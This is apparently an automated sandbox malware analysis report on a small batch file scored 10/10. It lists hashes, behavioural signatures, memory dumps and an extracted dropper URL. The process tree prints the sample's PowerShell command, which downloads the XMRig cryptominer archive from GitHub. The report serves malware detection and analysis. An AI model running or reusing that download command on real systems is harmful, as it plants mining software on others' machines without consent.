Analysis

  • max time kernel
    696s
  • max time network
    1599s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 13:16

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2148

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_godur2a4.avr.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • memory/2148-4-0x000001B0279B0000-0x000001B0279D2000-memory.dmp

          Filesize

          136KB

        • memory/2148-5-0x00007FFE88E60000-0x00007FFE8984C000-memory.dmp

          Filesize

          9.9MB

        • memory/2148-7-0x000001B027A70000-0x000001B027A80000-memory.dmp

          Filesize

          64KB

        • memory/2148-9-0x000001B027A70000-0x000001B027A80000-memory.dmp

          Filesize

          64KB

        • memory/2148-10-0x000001B027CF0000-0x000001B027D66000-memory.dmp

          Filesize

          472KB

        • memory/2148-25-0x000001B027A70000-0x000001B027A80000-memory.dmp

          Filesize

          64KB

        • memory/2148-40-0x00007FFE88E60000-0x00007FFE8984C000-memory.dmp

          Filesize

          9.9MB

        • memory/2148-41-0x000001B027A70000-0x000001B027A80000-memory.dmp

          Filesize

          64KB

        • memory/2148-42-0x000001B027A70000-0x000001B027A80000-memory.dmp

          Filesize

          64KB

        • memory/2148-43-0x000001B027A70000-0x000001B027A80000-memory.dmp

          Filesize

          64KB